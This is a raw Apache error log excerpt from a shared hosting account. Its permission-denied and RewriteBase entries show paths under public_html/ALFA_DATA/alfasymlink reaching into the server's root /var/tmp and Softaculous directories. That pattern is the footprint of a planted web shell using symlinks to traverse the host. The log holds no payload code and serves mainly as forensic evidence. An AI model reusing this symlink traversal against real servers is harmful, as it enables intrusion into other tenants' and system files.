[Sun Oct 25 14:27:03.771065 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/kCf6PZ1WYZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/kCf6PZ1WYZ/' is executable
[Sun Oct 25 14:27:03.771085 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/84lPUOx2JO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/84lPUOx2JO/' is executable
[Sun Oct 25 14:27:03.771088 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/openeshop/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.771106 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/js2u_Gtz2I/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/js2u_Gtz2I/' is executable
[Sun Oct 25 14:27:03.771145 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-zjLgk3/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-zjLgk3/' is executable
[Sun Oct 25 14:27:03.771168 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/rqXfNeDxe6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/rqXfNeDxe6/' is executable
[Sun Oct 25 14:27:03.771188 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/NgqDY1QDQC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/NgqDY1QDQC/' is executable
[Sun Oct 25 14:27:03.771209 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/S6oGysmQfR/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/S6oGysmQfR/' is executable
[Sun Oct 25 14:27:03.771238 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/ssmTYfkWmO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/ssmTYfkWmO/' is executable
[Sun Oct 25 14:27:03.771260 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/9Hdweni0LQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/9Hdweni0LQ/' is executable
[Sun Oct 25 14:27:03.771280 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/ZS9bRKE_ln/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/ZS9bRKE_ln/' is executable
[Sun Oct 25 14:27:03.771304 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/TI_LDuVRZp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/TI_LDuVRZp/' is executable
[Sun Oct 25 14:27:03.771312 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/koken/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.771333 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/HRDPmHzdRv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/HRDPmHzdRv/' is executable
[Sun Oct 25 14:27:03.771366 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/WJiRaJProP/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/WJiRaJProP/' is executable
[Sun Oct 25 14:27:03.771387 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/VWx0oIa_ha/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/VWx0oIa_ha/' is executable
[Sun Oct 25 14:27:03.771415 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-ZhRwWT/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-ZhRwWT/' is executable
[Sun Oct 25 14:27:03.771436 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/pulse-PKdhtXMmr18n/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/pulse-PKdhtXMmr18n/' is executable
[Sun Oct 25 14:27:03.771457 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/xim55mZdmP/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/xim55mZdmP/' is executable
[Sun Oct 25 14:27:03.771526 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/3RwJFJrH4V/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/3RwJFJrH4V/' is executable
[Sun Oct 25 14:27:03.771554 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/6mRamnU6vq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/6mRamnU6vq/' is executable
[Sun Oct 25 14:27:03.771578 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-q3gB5i/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-q3gB5i/' is executable
[Sun Oct 25 14:27:03.771599 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/QY6TdlpePz/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/QY6TdlpePz/' is executable
[Sun Oct 25 14:27:03.771614 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp68/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.771658 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/5EdmaNv2PN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/5EdmaNv2PN/' is executable
[Sun Oct 25 14:27:03.771683 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-MpBBHk/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-MpBBHk/' is executable
[Sun Oct 25 14:27:03.771739 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/5f_1VQEffJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/5f_1VQEffJ/' is executable
[Sun Oct 25 14:27:03.771762 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/yrMznD9gyg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/yrMznD9gyg/' is executable
[Sun Oct 25 14:27:03.771822 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/i3jxbRrWaA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/i3jxbRrWaA/' is executable
[Sun Oct 25 14:27:03.771845 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/dNfJKz5yvg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/dNfJKz5yvg/' is executable
[Sun Oct 25 14:27:03.771866 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/TI2qwhbKGu/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/TI2qwhbKGu/' is executable
[Sun Oct 25 14:27:03.771908 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/hPKEt7w1PK/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/hPKEt7w1PK/' is executable
[Sun Oct 25 14:27:03.771946 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-6JeWhp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-6JeWhp/' is executable
[Sun Oct 25 14:27:03.771971 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/C3vvDGRpTf/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/C3vvDGRpTf/' is executable
[Sun Oct 25 14:27:03.772002 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/eTa7v46lM5/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/eTa7v46lM5/' is executable
[Sun Oct 25 14:27:03.772023 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/oFkHjdAXTr/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/oFkHjdAXTr/' is executable
[Sun Oct 25 14:27:03.772044 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/o1Nn2aP6r8/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/o1Nn2aP6r8/' is executable
[Sun Oct 25 14:27:03.772064 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/kEKIbVJwbS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/kEKIbVJwbS/' is executable
[Sun Oct 25 14:27:03.772109 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/xC1whEdMkq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/xC1whEdMkq/' is executable
[Sun Oct 25 14:27:03.772143 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/9fqABosYmc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/9fqABosYmc/' is executable
[Sun Oct 25 14:27:03.772192 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/lost+found/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/lost+found/' is executable
[Sun Oct 25 14:27:03.772215 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/_caOxgALx2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/_caOxgALx2/' is executable
[Sun Oct 25 14:27:03.772256 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/pN3AQhlNgj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/pN3AQhlNgj/' is executable
[Sun Oct 25 14:27:03.772296 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/PsRo7Bsa_S/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/PsRo7Bsa_S/' is executable
[Sun Oct 25 14:27:03.772330 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-mPfqIM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-mPfqIM/' is executable
[Sun Oct 25 14:27:03.772364 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/OwP99dXZ_b/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/OwP99dXZ_b/' is executable
[Sun Oct 25 14:27:03.772385 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/H3T3qe0a6L/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/H3T3qe0a6L/' is executable
[Sun Oct 25 14:27:03.772407 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/BQ13T2xrrG/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/BQ13T2xrrG/' is executable
[Sun Oct 25 14:27:03.772429 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/XZqhtmoMNN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/XZqhtmoMNN/' is executable
[Sun Oct 25 14:27:03.772449 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/xCPByHeGOe/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/xCPByHeGOe/' is executable
[Sun Oct 25 14:27:03.772469 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/m5eQaqt7WO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/m5eQaqt7WO/' is executable
[Sun Oct 25 14:27:03.772489 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/cHkKHvtb84/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/cHkKHvtb84/' is executable
[Sun Oct 25 14:27:03.772530 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-jU4lmI/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-jU4lmI/' is executable
[Sun Oct 25 14:27:03.772536 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.772580 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/lpa8ZwaWTY/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/lpa8ZwaWTY/' is executable
[Sun Oct 25 14:27:03.772606 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-ZhbUNd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-ZhbUNd/' is executable
[Sun Oct 25 14:27:03.772628 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Ild61SlCM8/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Ild61SlCM8/' is executable
[Sun Oct 25 14:27:03.772648 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/oMgCKKTHTN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/oMgCKKTHTN/' is executable
[Sun Oct 25 14:27:03.772678 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/zFtYW8EbIo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/zFtYW8EbIo/' is executable
[Sun Oct 25 14:27:03.772702 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/U8bmWQiMp6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/U8bmWQiMp6/' is executable
[Sun Oct 25 14:27:03.772723 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Iq7IAhBBCA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/Iq7IAhBBCA/' is executable
[Sun Oct 25 14:27:03.772743 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/b3IROGlFVp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/b3IROGlFVp/' is executable
[Sun Oct 25 14:27:03.772782 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/3tecYTyNge/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/3tecYTyNge/' is executable
[Sun Oct 25 14:27:03.772825 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/GC947gwA7a/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/GC947gwA7a/' is executable
[Sun Oct 25 14:27:03.772968 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-mqjOkx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-mqjOkx/' is executable
[Sun Oct 25 14:27:03.772996 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/IDKGG9qSVX/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/IDKGG9qSVX/' is executable
[Sun Oct 25 14:27:03.773027 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/yIE1_o1ryC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/yIE1_o1ryC/' is executable
[Sun Oct 25 14:27:03.773051 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/pSZX5IDLqg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/pSZX5IDLqg/' is executable
[Sun Oct 25 14:27:03.773076 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53053] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/o3jCljYMJM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/tmp/o3jCljYMJM/' is executable
